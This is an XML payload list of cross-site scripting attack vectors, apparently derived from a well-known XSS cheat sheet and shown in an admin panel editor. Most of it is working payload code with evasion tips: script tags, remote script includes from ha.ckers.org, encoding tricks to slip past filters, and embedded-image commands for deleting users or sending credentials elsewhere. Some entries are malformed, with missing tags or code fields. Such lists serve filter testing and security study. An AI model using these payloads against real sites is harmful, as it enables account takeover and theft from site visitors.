Admin Control Panel v2.0

✎ Editing: xssAttacks.xml ← Back

<?xml version="1.0"?>

<xss>

<name>XSS Locator</name>

<code>&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;=&amp;{}</code>

<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.  You&apos;ll need to replace the &quot;&amp;&quot; with &quot;%26&quot; if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable.  Tip: If you&apos;re in a rush and need to quickly check a page, often times injecting the deprecated &quot;&lt;PLAINTEXT&gt;&quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc>

<label>Basic XSS Attacks</label>

<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>XSS Quick Test</name>

<desc>If you don&apos;t have much space, this string is a nice compact XSS injection check. View source after injecting it and look for &lt;XSS versus &amp;lt;XSS to see if it is vulnerable.</desc>

<label>Basic XSS Attacks</label>

</attack>

<name>SCRIPT w/Alert()</name>

<code>&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;</code>

<desc>Basic injection attack</desc>

<label>Basic XSS Attacks</label>

</attack>

<name>SCRIPT w/Source File</name>

<code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</code>

<desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc>

<label>Basic XSS Attacks</label>

</attack>

<name>SCRIPT w/Char Code</name>

<code>&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</code>

<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.</desc>

<label>Basic XSS Attacks</label>

</attack>

<code>&lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;</code>

<desc>Works in IE and Netscape 8.1 in safe mode.  You need the // to comment out the next characters so you won&apos;t get a JavaScript error and your XSS tag will render.  Also, this relies on the fact that the website uses dynamically placed images like &quot;images/image.jpg&quot; rather than full paths.  If the path includes a leading forward slash like &quot;/images/image.jpg&quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc>

<label>HTML Element Attacks</label>

<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>BGSOUND</name>

<code>&lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>BGSOUND</desc>

<label>HTML Element Attacks</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>BODY background-image</name>

<code>&lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>BODY image</desc>

<label>HTML Element Attacks</label>

</attack>

<name>BODY ONLOAD</name>

<code>&lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;</code>

<desc>BODY tag (I like this method because it doesn&apos;t require using any variants of &quot;javascript:&quot; or &quot;&lt;SCRIPT...&quot; to accomplish the XSS attack)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>DIV background-image 1</name>

<code>&lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;</code>

<desc>Div background-image</desc>

<label>HTML Element Attacks</label>

</attack>

<name>DIV background-image 2</name>

<code>&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;</code>

<desc>Div background-image plus extra characters.  I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course.  (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>DIV expression</name>

<code>&lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;</code>

<desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and &quot;expression&quot;</desc>

<label>HTML Element Attacks</label>

</attack>

<name>FRAME</name>

<code>&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;</code>

<desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc>

<label>HTML Element Attacks</label>

</attack>

<name>IFRAME</name>

<code>&lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;</code>

<desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc>

<label>HTML Element Attacks</label>

</attack>

<name>INPUT Image</name>

<code>&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>INPUT Image</desc>

<label>HTML Element Attacks</label>

</attack>

<name>IMG w/JavaScript Directive</name>

<code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>Image XSS using the JavaScript directive.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>IMG No Quotes/Semicolon</name>

<code>&lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;</code>

<desc>No quotes and no semicolon</desc>

<label>HTML Element Attacks</label>

</attack>

<name>IMG Dynsrc</name>

<code>&lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>IMG Dynsrc</desc>

<label>HTML Element Attacks</label>

</attack>

<name>IMG Lowsrc</name>

<code>&lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>IMG Lowsrc</desc>

<label>HTML Element Attacks</label>

</attack>

<name>IMG Embedded commands 1</name>

<code>&lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;</code>

<desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain.  This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc...  This is one of the lesser used but more useful XSS vectors.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>IMG Embedded commands 2</name>

<code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser</code>

<desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC=&quot;http://badguy.com/a.jpg&quot;&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc>

<label>HTML Element Attacks</label>

</attack>

<name>IMG STYLE w/expression</name>

<code>exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;);

xss:&amp;#101;x&amp;#x2F;*XSS*//*/*/pression(alert(&quot;XSS&quot;))&apos;&gt;</code>

<desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc>

<label>HTML Element Attacks</label>

</attack>

<name>List-style-image</name>

<code>&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS</code>

<desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>IMG w/VBscript</name>

<code>&lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;</code>

<desc>VBscript in an image</desc>

<label>HTML Element Attacks</label>

</attack>

<name>LAYER</name>

<code>&lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;</code>

<desc>Layer (Older Netscape only)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>Livescript</name>

<code>&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;</code>

<desc>Livescript (Older Netscape only)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>US-ASCII encoding</name>

<code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code>

<desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8.  This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself.  This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion.  Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc>

<label>HTML Element Attacks</label>

</attack>

<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>The odd thing about meta refresh is that it doesn&apos;t send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc>

<label>HTML Element Attacks</label>

</attack>

<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;</code>

<desc>This is nice because it also doesn&apos;t have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc>

<label>HTML Element Attacks</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>META w/additional URL parameter</name>

<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an &quot;http://&quot; you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>Mocha</name>

<code>&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;</code>

<desc>Mocha (Older Netscape only)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>OBJECT</name>

<code>&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;</code>

<desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc>

<label>HTML Element Attacks</label>

</attack>

<name>OBJECT w/Embedded XSS</name>

<code>&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;</code>

<desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc>

<label>HTML Element Attacks</label>

<browser>Browser support:</browser>

</attack>

<name>Embed Flash</name>

<code>&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;</code>

<desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=&quot;never&quot; and allownetworking=&quot;internal&quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc>

<label>HTML Element Attacks</label>

</attack>

<name>OBJECT w/Flash 2</name>

<code>a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);</code>

<desc>Using this action script inside flash can obfuscate your XSS vector.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>STYLE</name>

<code>&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;</code>

<desc>STYLE tag (Older versions of Netscape only)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>STYLE w/Comment</name>

<code>&lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;</code>

<desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>STYLE w/Anonymous HTML</name>

<code>&lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;</code>

<desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don&apos;t really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>STYLE w/background-image</name>

<code>&lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;</code>

<desc>STYLE tag using background-image.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>STYLE w/background</name>

<code>&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt;</code>

<desc>STYLE tag using background.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>Stylesheet</name>

<code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>Stylesheet</desc>

<label>HTML Element Attacks</label>

</attack>

<name>Remote Stylesheet 1</name>

<code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;</code>

<desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode.  Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won&apos;t work unless there is some content on the page other than the vector itself, so you&apos;ll need to add a single letter to the page to make it work if it&apos;s an otherwise blank page.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>Remote Stylesheet 2</name>

<code>&lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;</code>

<desc>Remote style sheet part 2 (this works the same as above, but uses a &lt;STYLE&gt; tag instead of a &lt;LINK&gt; tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html.  As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it.  This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>Remote Stylesheet 3</name>

<code>&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;</code>

<desc>Remote style sheet part 3. This only works in Opera but is fairly tricky.  Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera).  The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>Remote Stylesheet 4</name>

<code>&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;</code>

<desc>Remote style sheet part 4.  This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc>

<label>HTML Element Attacks</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>TABLE</name>

<code>&lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;</code>

<desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc>

<label>HTML Element Attacks</label>

</attack>

<code>&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;</code>

<desc>TD background.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>XML namespace</name>

<code>&lt;HTML xmlns:xss&gt;

&lt;?import namespace=&quot;xss&quot; implementation=&quot;http://ha.ckers.org/xss.htc&quot;&gt;

&lt;xss:xss&gt;XSS&lt;/xss:xss&gt;

&lt;/HTML&gt;</code>

<desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>XML data island w/CDATA</name>

<code>&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt;

&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;</code>

<desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>XML data island w/comment</name>

<code>&lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;

&lt;SPAN DATASRC=&quot;#xss&quot; DATAFLD=&quot;B&quot; DATAFORMATAS=&quot;HTML&quot;&gt;&lt;/SPAN&gt;</code>

<desc>XML data island with comment obfuscation (doesn&apos;t use CDATA fields, but rather uses comments to break up the javascript directive)</desc>

<label>HTML Element Attacks</label>

</attack>

<name>XML (locally hosted)</name>

<code>&lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt;

&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</code>

<desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc>

<label>HTML Element Attacks</label>

</attack>

<code>&lt;HTML&gt;&lt;BODY&gt;

&lt;?xml:namespace prefix=&quot;t&quot; ns=&quot;urn:schemas-microsoft-com:time&quot;&gt;

&lt;?import namespace=&quot;t&quot; implementation=&quot;#default#time2&quot;&gt;

&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSS&lt;SCRIPT DEFER&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt; &lt;/BODY&gt;&lt;/HTML&gt;</code>

<desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc>

<label>HTML Element Attacks</label>

</attack>

<name>Commented-out Block</name>

<code>&lt;!--[if gte IE 4]&gt;

&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt;

&lt;![endif]--&gt;</code>

<desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode).  Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless.  As we can see, that probably wouldn't do the job.</desc>

<label>Other Attacks</label>

</attack>

<name>Cookie Manipulation</name>

<code>&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;</code>

<desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where &lt;META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim&apos;s cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc>

<label>Other Attacks</label>

</attack>

<name>Local .htc file</name>

<code>&lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;</code>

<desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc>

<label>Other Attacks</label>

</attack>

<name>Rename .js to .jpg</name>

<code>&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;</code>

<desc>Assuming you can only fit in a few characters and it filters against &quot;.js&quot; you can rename your JavaScript file to an image as an XSS vector.</desc>

<label>Other Attacks</label>

</attack>

<code>&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;</code>

<desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector.  I probably don&apos;t need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc>

<label>Other Attacks</label>

</attack>

<code>&lt;? echo(&apos;&lt;SCR)&apos;;

echo(&apos;IPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&apos;); ?&gt;</code>

<desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc>

<label>Other Attacks</label>

</attack>

<name>JavaScript Includes</name>

<code>&lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;</code>

<desc>&amp;JavaScript includes (works in Netscape 4.x).</desc>

<label>Other Attacks</label>

</attack>

<name>Character Encoding Example</name>

<code>&lt;

%3C

&amp;lt

&amp;lt;

&amp;LT

&amp;LT;

&amp;#60

&amp;#060

&amp;#0060

&amp;#00060

&amp;#000060

&amp;#0000060

&amp;#60;

&amp;#060;

&amp;#0060;

&amp;#00060;

&amp;#000060;

&amp;#0000060;

&amp;#x3c

&amp;#x03c

&amp;#x003c

&amp;#x0003c

&amp;#x00003c

&amp;#x000003c

&amp;#x3c;

&amp;#x03c;

&amp;#x003c;

&amp;#x0003c;

&amp;#x00003c;

&amp;#x000003c;

&amp;#X3c

&amp;#X03c

&amp;#X003c

&amp;#X0003c

&amp;#X00003c

&amp;#X000003c

&amp;#X3c;

&amp;#X03c;

&amp;#X003c;

&amp;#X0003c;

&amp;#X00003c;

&amp;#X000003c;

&amp;#x3C

&amp;#x03C

&amp;#x003C

&amp;#x0003C

&amp;#x00003C

&amp;#x000003C

&amp;#x3C;

&amp;#x03C;

&amp;#x003C;

&amp;#x0003C;

&amp;#x00003C;

&amp;#x000003C;

&amp;#X3C

&amp;#X03C

&amp;#X003C

&amp;#X0003C

&amp;#X00003C

&amp;#X000003C

&amp;#X3C;

&amp;#X03C;

&amp;#X003C;

&amp;#X0003C;

&amp;#X00003C;

&amp;#X000003C;

\x3c

\x3C

\u003c

\u003C</code>

<desc>All of the possible combinations of the character &quot;&lt;&quot; in HTML and JavaScript.  Most of these won&apos;t render, but many of them can get rendered in certain circumstances (standards are great, aren&apos;t they?).</desc>

<label>Character Encoding Attacks</label>

<browser>Browser support:</browser>

</attack>

<name>Case Insensitive</name>

<code>&lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;</code>

<desc>Case insensitive XSS attack vector.</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>HTML Entities</name>

<code>&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;</code>

<desc>HTML entities (the semicolons are required for this to work).</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>Grave Accents</name>

<code>&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;</code>

<desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don&apos;t know about grave accents).</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>Image w/CharCode</name>

<code>&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</code>

<desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>UTF-8 Unicode Encoding</name>

<desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>Long UTF-8 Unicode w/out Semicolons</name>

<desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&amp;#XX;", since most people don&apos;t know about padding - up to 7 numeric characters total).  This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I&apos;ve seen this in the wild).</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>DIV w/Unicode</name>

<code>&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;</code>

<desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter).  The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>Hex Encoding w/out Semicolons</name>

<desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>UTF-7 Encoding</name>

<code>&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;XSS&apos;);+ADw-/SCRIPT+AD4-</code>

<desc>UTF-7 encoding - if the page that the XSS resides on doesn&apos;t provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don&apos;t need the charset statement if the user&apos;s browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire  http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google&apos;s custom 404 script.</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>Escaping JavaScript escapes</name>

<code>\&quot;;alert(&apos;XSS&apos;);//</code>

<desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: &lt;SCRIPT&gt;var a=&quot;$ENV{QUERY_STRING}&quot;;&lt;/SCRIPT&gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &lt;SCRIPT&gt;var a=&quot;&quot;;alert(&apos;XSS&apos;);//&quot;;&lt;/SCRIPT&gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>End title tag</name>

<code>&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;</code>

<desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>STYLE w/broken up JavaScript</name>

<code>&lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;</code>

